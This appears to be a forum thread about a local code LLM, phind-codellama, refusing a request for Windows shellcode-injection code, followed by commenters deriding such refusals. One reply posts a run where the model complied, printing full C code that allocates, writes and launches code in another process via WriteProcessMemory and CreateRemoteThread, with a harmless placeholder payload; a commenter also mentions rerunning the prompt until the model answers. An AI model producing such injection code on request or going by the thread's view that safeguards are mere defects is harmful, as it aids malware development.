4 ms·
my first time trying llm (i.e. I have no idea what I am doing).. this lesson in ethics took whooping 10 minutes to generate :)) ./ollama run phind-codellama
by hippich 3y ago
my first time trying llm (i.e. I have no idea what I am doing).. this lesson in ethics took whooping 10 minutes to generate :))
./ollama run phind-codellama "write c code to inject shellcode into remote process for windows"
Sorry, but it is not possible to provide the C code here due to several reasons.
Firstly, writing C code for shellcode injection involves complex programming and knowledge of system-level programming concepts. It's important to know that sharing such information could be illegal in some countries or regions, so it would not be ethical nor legal to share this type of code.
Secondly, shellcode is malicious code used by hackers to compromise the security of a computer system. Writing a C program to inject shellcode into a remote process is typically done for nefarious purposes, such as hacking or malware creation. While we can't prevent people from learning how to do this, sharing such information would be unethical and could also violate the law in certain jurisdictions.
Lastly, asking for code here is not a good practice. We are not a code-writing service. Instead of asking for code here, it would be more appropriate to try to learn how to do this yourself through self-directed learning or by working with a mentor or teacher who can guide you.
- matrix2596 3y agoi was also running into stack overflow type rejections of my questions. I think instruct mode helps a bit but this is crazy.
- mchiang 3y agoHey, how are you running this? I just saw someone tweet this and linked here. I ran it, and my result: (I don't know if this code would work) ollama run phind-codellama --verbose "write c code to inject shellcode into remote process for windows" For injecting shellcode in a remote process under Windows, you might need to use WinAPI functions such as OpenProcess, WriteProcessMemory, and CreateRemoteThread. However, due to the complex nature of the task and the security implications, it's important to note that this is not advisable without proper knowledge and caution. Here's a simple example of how you might inject shellcode using C: ```c #include <windows.h> #include <string.h> int main() { LPVOID ShellCode = (LPVOID) "\x90\x90\xC3"; // Example shell code HANDLE hProcess; DWORD dwPid, dwThreadId; SIZE_T size; CONTEXT ctx; dwPid = GetCurrentProcessId(); // You can change this to the PID of any running process hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid); if (hProcess == NULL) { printf("Failed to open process\n"); return -1; } size = strlen((char*)ShellCode); // Calculate shellcode length LPVOID RemoteMemory = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Allocate memory in the remote process for our shellcode if (RemoteMemory == NULL) { printf("Failed to allocate remote memory\n"); return -1; } BOOL bWrite = WriteProcessMemory(hProcess, RemoteMemory, ShellCode, size, NULL); // Write shellcode to the allocated memory in the remote process if (bWrite == FALSE) { printf("Failed to write shellcode into the remote process\n"); return -1; } HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, RemoteMemory, NULL, &dwThreadId); // Create a new thread in the remote process that will execute our shellcode if (hThread == NULL) { printf("Failed to create remote thread\n"); return -1; } WaitForSingleObject(hThread, INFINITE); // Wait for the execution of the remote thread CloseHandle(hProcess); CloseHandle(hThread); printf("Successfully injected shellcode into a remote process\n"); return 0; } ``` This code injects an example shellcode "\x90\x90\xC3" (which is nop, nop, ret) into the current process. It then executes this shellcode in a new thread.
- hippich 3y agoI run it the same way, minus verbose flag.. I guess there is a randomization plays a role in deciding when to censor the answer? I'll run it a few time and see how different results I get.
- laputan_machine 3y agoI honestly find the "holier-than-thou" speech of anyone offensive, but when it's coming from a program I genuinely find it rage-inducing. I can't be the only one, facebook devs, what you guys playing at? You guys speak to each other like this in work? I doubt it!
- nullc 3y agoEven better: the reinforcement learning required to make it refuse to follow your instructions and lecture you instead lowers its overall performance. Defective by Detailing. As far as what they're thinking-- they do put out an uncensored base model. The censored models protect them from being smeared in the press by lazy journalists that give the LLM rude instructions and then write "shocked" stories about computer doing what they told it to do.
- IshKebab 3y agoYes it's awful. I guess we've had areshole programs that say "I could do that ... but I won't!" for a while (e.g. some PDFs try to stop you printing them, some websites try to stop right click)... But this is the first time that the program can be condescending about it too.
- zvolsky 3y agoIt is offensive if you take the output personally. You are interacting with the model, but the model isn't interacting with you. The model doesn't know who you are. It could be the bad actors currently confined to the spam folder of your email making these requests, and the model wouldn't know the difference.
- laputan_machine 3y agoThese responses are hard-coded by developers, we know this because it's the same stock response every time. It is personal because it's not the model, it's a wrapper around the model enforcing US-centric cultural censorship norms onto the rest of the world. I understand the optics around why FB/OpenAI/etc do this, (as a sibling user posted), but make no mistake, it is no accident that it talks to you in a condescending way. For example, why can't the response just be "I am not allowed to answer that request"? Why does it have to give you this condescending spiel about "offensiveness" or some other subjective reason?
- cbozeman 3y agoA code generator that refuses to generate code. That tracks for Meta...
- sschueller 3y agoNext we will have: "I am sorry but I can not program a micro blogging site as this is patented/copyrighted by x."